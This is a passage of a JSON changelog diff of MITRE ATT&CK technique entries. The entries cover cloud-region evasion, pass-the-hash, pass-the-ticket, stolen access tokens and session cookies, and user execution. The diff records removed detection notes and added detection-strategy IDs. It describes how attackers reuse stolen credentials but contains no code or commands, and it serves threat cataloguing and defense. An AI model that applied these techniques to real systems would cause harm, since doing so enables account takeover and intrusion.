[], + "new": [ + "DET0549: Detect Suspicious Access to Private Key Files and Export Attempts Across Platforms" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--59bd0dec-f8b2-4b9a-9141-37a1e6899761", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-04 14:35:04.617000+00:00", + "modified": "2025-10-24 17:48:49.853000+00:00", + "name": "Unused/Unsupported Cloud Regions", + "description": "Adversaries may create cloud instances in unused geographic service regions in order to evade detection. Access is usually obtained through compromising accounts used to manage cloud infrastructure.\n\nCloud service providers often provide infrastructure throughout the world in order to improve performance, provide redundancy, and allow customers to meet compliance requirements. Oftentimes, a customer will only use a subset of the available regions and may not actively monitor other regions. If an adversary creates resources in an unused region, they may be able to operate undetected.\n\nA variation on this behavior takes advantage of differences in functionality across cloud regions. An adversary could utilize regions which do not support advanced detection services in order to avoid detection of their activity.\n\nAn example of adversary use of unused AWS regions is to mine cryptocurrency through [Resource Hijacking](https://attack.mitre.org/techniques/T1496), which can cost organizations substantial amounts of money over time depending on the processing power used.(Citation: CloudSploit - Unused AWS Regions)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1535", + "external_id": "T1535" + }, + { + "source_name": "CloudSploit - Unused AWS Regions", + "description": "CloudSploit. (2019, June 8). The Danger of Unused AWS Regions. Retrieved October 8, 2019.", + "url": "https://medium.com/cloudsploit/the-danger-of-unused-aws-regions-af0bf1b878fc" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Netskope" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Instance: Instance Creation\", \"Instance: Instance Metadata\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:49.853000+00:00\", \"old_value\": \"2025-04-15 23:17:42.649000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor system logs to review activities occurring across all cloud environments and regions. Configure alerting to notify of activity in normally unused regions or if the number of instances active in a region goes above a certain threshold.(Citation: CloudSploit - Unused AWS Regions)\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1054: Software Configuration" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0030: Instance (Instance Creation)", + "DS0030: Instance (Instance Metadata)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0247: Detection of Adversary Use of Unused or Unsupported Cloud Regions (IaaS)" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--51a14c76-dd3b-440b-9c20-2bf91d25a814", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-01-30 16:18:36.873000+00:00", + "modified": "2025-10-24 17:48:46.684000+00:00", + "name": "Use Alternate Authentication Material", + "description": "Adversaries may use alternate authentication material, such as password hashes, Kerberos tickets, and application access tokens, in order to move laterally within an environment and bypass normal system access controls. \n\nAuthentication processes generally require a valid identity (e.g., username) along with one or more authentication factors (e.g., password, pin, physical smart card, token generator, etc.). Alternate authentication material is legitimately generated by systems after a user or application successfully authenticates by providing a valid identity and the required authentication factor(s). Alternate authentication material may also be generated during the identity creation process.(Citation: NIST Authentication)(Citation: NIST MFA)\n\nCaching alternate authentication material allows the system to verify an identity has successfully authenticated without asking the user to reenter authentication factor(s). Because the alternate authentication must be maintained by the system\u2014either in memory or on disk\u2014it may be at risk of being stolen through [Credential Access](https://attack.mitre.org/tactics/TA0006) techniques. By stealing alternate authentication material, adversaries are able to bypass system access controls and authenticate to systems without knowing the plaintext password or any additional authentication factors.\n", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "lateral-movement" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1550", + "external_id": "T1550" + }, + { + "source_name": "TechNet Audit Policy", + "description": "Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016.", + "url": "https://technet.microsoft.com/en-us/library/dn487457.aspx" + }, + { + "source_name": "NIST Authentication", + "description": "NIST. (n.d.). Authentication. Retrieved January 30, 2020.", + "url": "https://csrc.nist.gov/glossary/term/authentication" + }, + { + "source_name": "NIST MFA", + "description": "NIST. (n.d.). Multi-Factor Authentication (MFA). Retrieved September 25, 2024.", + "url": "https://csrc.nist.gov/glossary/term/multi_factor_authentication" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Blake Strom, Microsoft Threat Intelligence", + "Pawel Partyka, Microsoft Threat Intelligence" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "SaaS", + "IaaS", + "Containers", + "Identity Provider", + "Office Suite", + "Linux" + ], + "x_mitre_version": "1.5", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Application Log: Application Log Content\", \"Logon Session: Logon Session Creation\", \"Active Directory: Active Directory Credential Request\", \"Web Credential: Web Credential Usage\", \"User Account: User Account Authentication\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:46.684000+00:00\", \"old_value\": \"2025-04-15 19:58:30.693000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).\"}}}", + "previous_version": "1.5", + "changelog_mitigations": { + "shared": [ + "M1013: Application Developer Guidance", + "M1015: Active Directory Configuration", + "M1018: User Account Management", + "M1026: Privileged Account Management", + "M1027: Password Policies", + "M1036: Account Use Policies", + "M1047: Audit" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0002: User Account (User Account Authentication)", + "DS0006: Web Credential (Web Credential Usage)", + "DS0015: Application Log (Application Log Content)", + "DS0026: Active Directory (Active Directory Credential Request)", + "DS0028: Logon Session (Logon Session Creation)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0338: Behavioral Detection Strategy for Use Alternate Authentication Material (T1550)" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--f005e783-57d4-4837-88ad-dbe7faee1c51", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-01-30 17:37:22.261000+00:00", + "modified": "2025-10-24 17:49:35.227000+00:00", + "name": "Application Access Token", + "description": "Adversaries may use stolen application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems. These tokens are typically stolen from users or services and used in lieu of login credentials.\n\nApplication access tokens are used to make authorized API requests on behalf of a user or service and are commonly used to access resources in cloud, container-based applications, and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) \n\nOAuth is one commonly implemented framework that issues tokens to users for access to systems. These frameworks are used collaboratively to verify the user and determine what actions the user is allowed to perform. Once identity is established, the token allows actions to be authorized, without passing the actual credentials of the user. Therefore, compromise of the token can grant the adversary access to resources of other sites through a malicious application.(Citation: okta)\n\nFor example, with a cloud-based email service, once an OAuth access token is granted to a malicious application, it can potentially gain long-term access to features of the user account if a \"refresh\" token enabling background access is awarded.(Citation: Microsoft Identity Platform Access 2019) With an OAuth access token an adversary can use the user-granted REST API to perform functions such as email searching and contact enumeration.(Citation: Staaldraad Phishing with OAuth 2017)\n\nCompromised access tokens may be used as an initial step in compromising other services. For example, if a token grants access to a victim\u2019s primary email, the adversary may be able to extend access to all other services which the target subscribes by triggering forgotten password routines. In AWS and GCP environments, adversaries can trigger a request for a short-lived access token with the privileges of another user account.(Citation: Google Cloud Service Account Credentials)(Citation: AWS Temporary Security Credentials) The adversary can then use this token to request data or perform actions the original account could not. If permissions for this feature are misconfigured \u2013 for example, by allowing all users to request a token for a particular account - an adversary may be able to gain initial access to a Cloud Account or escalate their privileges.(Citation: Rhino Security Labs Enumerating AWS Roles)\n\nDirect API access through a token negates the effectiveness of a second authentication factor and may be immune to intuitive countermeasures like changing passwords. For example, in AWS environments, an adversary who compromises a user\u2019s AWS API credentials may be able to use the `sts:GetFederationToken` API call to create a federated user session, which will have the same permissions as the original user but may persist even if the original user credentials are deactivated.(Citation: Crowdstrike AWS User Federation Persistence) Additionally, access abuse over an API channel can be difficult to detect even from the service provider end, as the access can still align well with a legitimate workflow.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "lateral-movement" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1550/001", + "external_id": "T1550.001" + }, + { + "source_name": "Crowdstrike AWS User Federation Persistence", + "description": " Vaishnav Murthy and Joel Eng. (2023, January 30). How Adversaries Can Persist with AWS User Federation. Retrieved March 10, 2023.", + "url": "https://www.crowdstrike.com/blog/how-adversaries-persist-with-aws-user-federation/" + }, + { + "source_name": "Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019", + "description": "Auth0. (n.d.). Why You Should Always Use Access Tokens to Secure APIs. Retrieved September 12, 2019.", + "url": "https://auth0.com/blog/why-should-use-accesstokens-to-secure-an-api/" + }, + { + "source_name": "AWS Logging IAM Calls", + "description": "AWS. (n.d.). Logging IAM and AWS STS API calls with AWS CloudTrail. Retrieved April 1, 2022.", + "url": "https://docs.aws.amazon.com/IAM/latest/UserGuide/cloudtrail-integration.html" + }, + { + "source_name": "AWS Temporary Security Credentials", + "description": "AWS. (n.d.). Requesting temporary security credentials. Retrieved April 1, 2022.", + "url": "https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp_request.html" + }, + { + "source_name": "Microsoft Identity Platform Access 2019", + "description": "Cai, S., Flores, J., de Guzman, C., et. al.. (2019, August 27). Microsoft identity platform access tokens. Retrieved October 4, 2019.", + "url": "https://docs.microsoft.com/en-us/azure/active-directory/develop/access-tokens" + }, + { + "source_name": "Google Cloud Service Account Credentials", + "description": "Google Cloud. (2022, March 31). Creating short-lived service account credentials. Retrieved April 1, 2022.", + "url": "https://cloud.google.com/iam/docs/creating-short-lived-service-account-credentials" + }, + { + "source_name": "GCP Monitoring Service Account Usage", + "description": "Google Cloud. (2022, March 31). Monitor usage patterns for service accounts and keys . Retrieved April 1, 2022.", + "url": "https://cloud.google.com/iam/docs/service-account-monitoring" + }, + { + "source_name": "okta", + "description": "okta. (n.d.). What Happens If Your JWT Is Stolen?. Retrieved September 12, 2019.", + "url": "https://developer.okta.com/blog/2018/06/20/what-happens-if-your-jwt-is-stolen" + }, + { + "source_name": "Rhino Security Labs Enumerating AWS Roles", + "description": "Spencer Gietzen. (2018, August 8). Assume the Worst: Enumerating AWS Roles through \u2018AssumeRole\u2019. Retrieved April 1, 2022.", + "url": "https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration" + }, + { + "source_name": "Staaldraad Phishing with OAuth 2017", + "description": "Stalmans, E.. (2017, August 2). Phishing with OAuth and o365/Azure. Retrieved October 4, 2019.", + "url": "https://staaldraad.github.io/2017/08/02/o356-phishing-with-oauth/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Shailesh Tiwary (Indian Army)", + "Saisha Agrawal, Microsoft Threat Intelligent Center (MSTIC)", + "Jeff Sakowicz, Microsoft Identity Developer Platform Services (IDPM Services)", + "Mark Wee", + "Ian Davila, Tidal Cyber", + "Dylan Silva, AWS Security", + "Jack Burns, HubSpot", + "Blake Strom, Microsoft Threat Intelligence", + "Pawel Partyka, Microsoft Threat Intelligence" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "SaaS", + "Containers", + "IaaS", + "Office Suite", + "Identity Provider" + ], + "x_mitre_version": "1.8", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Web Credential: Web Credential Usage\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:35.227000+00:00\", \"old_value\": \"2025-04-15 19:59:20.277000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor access token activity for abnormal use and permissions granted to unusual or suspicious applications and APIs. Additionally, administrators should review logs for calls to the AWS Security Token Service (STS) and usage of GCP service accounts in order to identify anomalous actions.(Citation: AWS Logging IAM Calls)(Citation: GCP Monitoring Service Account Usage)\"}}}", + "previous_version": "1.8", + "changelog_mitigations": { + "shared": [ + "M1013: Application Developer Guidance", + "M1021: Restrict Web-Based Content", + "M1036: Account Use Policies", + "M1041: Encrypt Sensitive Information", + "M1047: Audit" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0006: Web Credential (Web Credential Usage)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0185: Behavioral Detection Strategy for Use Alternate Authentication Material: Application Access Token (T1550.001)" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--e624264c-033a-424d-9fd7-fc9c3bbdb03e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-01-30 16:36:51.184000+00:00", + "modified": "2025-10-24 17:49:32.459000+00:00", + "name": "Pass the Hash", + "description": "Adversaries may \u201cpass the hash\u201d using stolen password hashes to move laterally within an environment, bypassing normal system access controls. Pass the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash.\n\nWhen performing PtH, valid password hashes for the account being used are captured using a [Credential Access](https://attack.mitre.org/tactics/TA0006) technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems.\n\nAdversaries may also use stolen password hashes to \"overpass the hash.\" Similar to PtH, this involves using a password hash to authenticate as a user but also uses the password hash to create a valid Kerberos ticket. This ticket can then be used to perform [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003) attacks.(Citation: Stealthbits Overpass-the-Hash)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "lateral-movement" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1550/002", + "external_id": "T1550.002" + }, + { + "source_name": "Stealthbits Overpass-the-Hash", + "description": "Warren, J. (2019, February 26). How to Detect Overpass-the-Hash Attacks. Retrieved February 4, 2021.", + "url": "https://stealthbits.com/blog/how-to-detect-overpass-the-hash-attacks/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Blake Strom, Microsoft 365 Defender", + "Travis Smith, Tripwire" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Logon Session: Logon Session Creation\", \"Active Directory: Active Directory Credential Request\", \"User Account: User Account Authentication\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:32.459000+00:00\", \"old_value\": \"2025-04-16 20:37:22.508000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Audit all logon and credential use events and review for discrepancies. Unusual remote logins that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity. NTLM LogonType 3 authentications that are not associated to a domain login and are not anonymous logins are suspicious.\\n\\nEvent ID 4768 and 4769 will also be generated on the Domain Controller when a user requests a new ticket granting ticket or service ticket. These events combined with the above activity may be indicative of an overpass the hash attempt.(Citation: Stealthbits Overpass-the-Hash)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Audit all logon and credential use events and review for discrepancies. Unusual remote logins that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity. NTLM LogonType 3 authentications that are not associated to a domain login and are not anonymous logins are suspicious.\\n-\\n-Event ID 4768 and 4769 will also be generated on the Domain Controller when a user requests a new ticket granting ticket or service ticket. These events combined with the above activity may be indicative of an overpass the hash attempt.(Citation: Stealthbits Overpass-the-Hash)\"}}}", + "previous_version": "1.3", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1026: Privileged Account Management", + "M1051: Update Software", + "M1052: User Account Control" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0002: User Account (User Account Authentication)", + "DS0026: Active Directory (Active Directory Credential Request)", + "DS0028: Logon Session (Logon Session Creation)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0409: Detection Strategy for T1550.002 - Pass the Hash (Windows)" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--7b211ac6-c815-4189-93a9-ab415deca926", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-01-30 17:03:43.072000+00:00", + "modified": "2025-10-24 17:48:59.861000+00:00", + "name": "Pass the Ticket", + "description": "Adversaries may \u201cpass the ticket\u201d using stolen Kerberos tickets to move laterally within an environment, bypassing normal system access controls. Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password. Kerberos authentication can be used as the first step to lateral movement to a remote system.\n\nWhen preforming PtT, valid Kerberos tickets for [Valid Accounts](https://attack.mitre.org/techniques/T1078) are captured by [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). A user's service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access.(Citation: ADSecurity AD Kerberos Attacks)(Citation: GentilKiwi Pass the Ticket)\n\nA [Silver Ticket](https://attack.mitre.org/techniques/T1558/002) can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint).(Citation: ADSecurity AD Kerberos Attacks)\n\nA [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory.(Citation: Campbell 2014)\n\nAdversaries may also create a valid Kerberos ticket using other user information, such as stolen password hashes or AES keys. For example, \"overpassing the hash\" involves using a NTLM password hash to authenticate as a user (i.e. [Pass the Hash](https://attack.mitre.org/techniques/T1550/002)) while also using the password hash to create a valid Kerberos ticket.(Citation: Stealthbits Overpass-the-Hash)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "lateral-movement" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1550/003", + "external_id": "T1550.003" + }, + { + "source_name": "CERT-EU Golden Ticket Protection", + "description": "Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016, April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017.", + "url": "https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf" + }, + { + "source_name": "Campbell 2014", + "description": "Campbell, C. (2014). The Secret Life of Krbtgt. Retrieved November 17, 2024.", + "url": "https://defcon.org/images/defcon-22/dc-22-presentations/Campbell/DEFCON-22-Christopher-Campbell-The-Secret-Life-of-Krbtgt.pdf" + }, + { + "source_name": "GentilKiwi Pass the Ticket", + "description": "Deply, B. (2014, January 13). Pass the ticket. Retrieved September 12, 2024.", + "url": "https://web.archive.org/web/20210515214027/https://blog.gentilkiwi.com/securite/mimikatz/pass-the-ticket-kerberos" + }, + { + "source_name": "ADSecurity AD Kerberos Attacks", + "description": "Metcalf, S. (2014, November 22). Mimikatz and Active Directory Kerberos Attacks. Retrieved June 2, 2016.", + "url": "https://adsecurity.org/?p=556" + }, + { + "source_name": "Stealthbits Overpass-the-Hash", + "description": "Warren, J. (2019, February 26). How to Detect Overpass-the-Hash Attacks. Retrieved February 4, 2021.", + "url": "https://stealthbits.com/blog/how-to-detect-overpass-the-hash-attacks/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Vincent Le Toux", + "Ryan Becwar" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"User Account: User Account Authentication\", \"Logon Session: Logon Session Creation\", \"Active Directory: Active Directory Credential Request\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:59.861000+00:00\", \"old_value\": \"2025-04-15 19:58:43.927000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Audit all Kerberos authentication and credential use events and review for discrepancies. Unusual remote authentication events that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity.\\n\\nEvent ID 4769 is generated on the Domain Controller when using a golden ticket after the KRBTGT password has been reset twice, as mentioned in the mitigation section. The status code 0x1F indicates the action has failed due to \\\"Integrity check on decrypted field failed\\\" and indicates misuse by a previously invalidated golden ticket.(Citation: CERT-EU Golden Ticket Protection)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Audit all Kerberos authentication and credential use events and review for discrepancies. Unusual remote authentication events that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity.\\n-\\n-Event ID 4769 is generated on the Domain Controller when using a golden ticket after the KRBTGT password has been reset twice, as mentioned in the mitigation section. The status code 0x1F indicates the action has failed due to \\\"Integrity check on decrypted field failed\\\" and indicates misuse by a previously invalidated golden ticket.(Citation: CERT-EU Golden Ticket Protection)\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1015: Active Directory Configuration", + "M1018: User Account Management", + "M1026: Privileged Account Management", + "M1027: Password Policies" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0002: User Account (User Account Authentication)", + "DS0026: Active Directory (Active Directory Credential Request)", + "DS0028: Logon Session (Logon Session Creation)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0352: Detection Strategy for T1550.003 - Pass the Ticket (Windows)" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--c3c8c916-2f3c-4e71-94b2-240bdfc996f0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-01-30 17:48:49.395000+00:00", + "modified": "2025-10-24 17:49:20.943000+00:00", + "name": "Web Session Cookie", + "description": "Adversaries can use stolen session cookies to authenticate to web applications and services. This technique bypasses some multi-factor authentication protocols since the session is already authenticated.(Citation: Pass The Cookie)\n\nAuthentication cookies are commonly used in web applications, including cloud-based services, after a user has authenticated to the service so credentials are not passed and re-authentication does not need to occur as frequently. Cookies are often valid for an extended period of time, even if the web application is not actively used. After the cookie is obtained through [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539) or [Web Cookies](https://attack.mitre.org/techniques/T1606/001), the adversary may then import the cookie into a browser they control and is then able to use the site or application as the user for as long as the session cookie is active. Once logged into the site, an adversary can access sensitive information, read email, or perform actions that the victim account has permissions to perform.\n\nThere have been examples of malware targeting session cookies to bypass multi-factor authentication systems.(Citation: Unit 42 Mac Crypto Cookies January 2019)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "lateral-movement" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1550/004", + "external_id": "T1550.004" + }, + { + "source_name": "Unit 42 Mac Crypto Cookies January 2019", + "description": "Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges\u2019 Cookies. Retrieved October 14, 2019.", + "url": "https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/" + }, + { + "source_name": "Pass The Cookie", + "description": "Rehberger, J. (2018, December). Pivot to the Cloud using Pass the Cookie. Retrieved April 5, 2019.", + "url": "https://wunderwuzzi23.github.io/blog/passthecookie.html" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Johann Rehberger", + "Jack Burns, HubSpot" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "SaaS", + "IaaS", + "Office Suite" + ], + "x_mitre_version": "1.5", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Application Log: Application Log Content\", \"Web Credential: Web Credential Usage\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:20.943000+00:00\", \"old_value\": \"2025-04-15 19:59:05.730000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for anomalous access of websites and cloud-based applications by the same user in different locations or by different systems that do not match expected configurations.\"}}}", + "previous_version": "1.5", + "changelog_mitigations": { + "shared": [ + "M1054: Software Configuration" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0006: Web Credential (Web Credential Usage)", + "DS0015: Application Log (Application Log Content)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0074: Detect Use of Stolen Web Session Cookies Across Platforms" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18 17:59:24.739000+00:00", + "modified": "2025-10-24 17:49:04.940000+00:00", + "name": "User Execution", + "description": "An adversary may rely upon specific actions by a user in order to gain execution. Users may be subjected to social engineering to get them to execute malicious code by, for example, opening a malicious document file or link. These user actions will typically be observed as follow-on behavior from forms of [Phishing](https://attack.mitre.org/techniques/T1566).\n\nWhile [User Execution](https://attack.mitre.org/techniques/T1204) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534).\n\nAdversaries may also deceive users into performing actions such as:\n\n* Enabling [Remote Access Tools](https://attack.mitre.org/techniques/T1219), allowing direct control of the system to the adversary\n* Running malicious JavaScript in their browser, allowing adversaries to [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539)s(Citation: Talos Roblox Scam 2023)(Citation: Krebs Discord Bookmarks 2023)\n* Downloading and executing malware for [User Execution](https://attack.mitre.org/techniques/T1204)\n* Coerceing users to copy, paste, and execute malicious code manually(Citation: Reliaquest-execution)(Citation: proofpoint-selfpwn)\n\nFor example, tech support scams can be facilitated through [Phishing](https://attack.mitre.org/techniques/T1566), vishing, or various forms of user 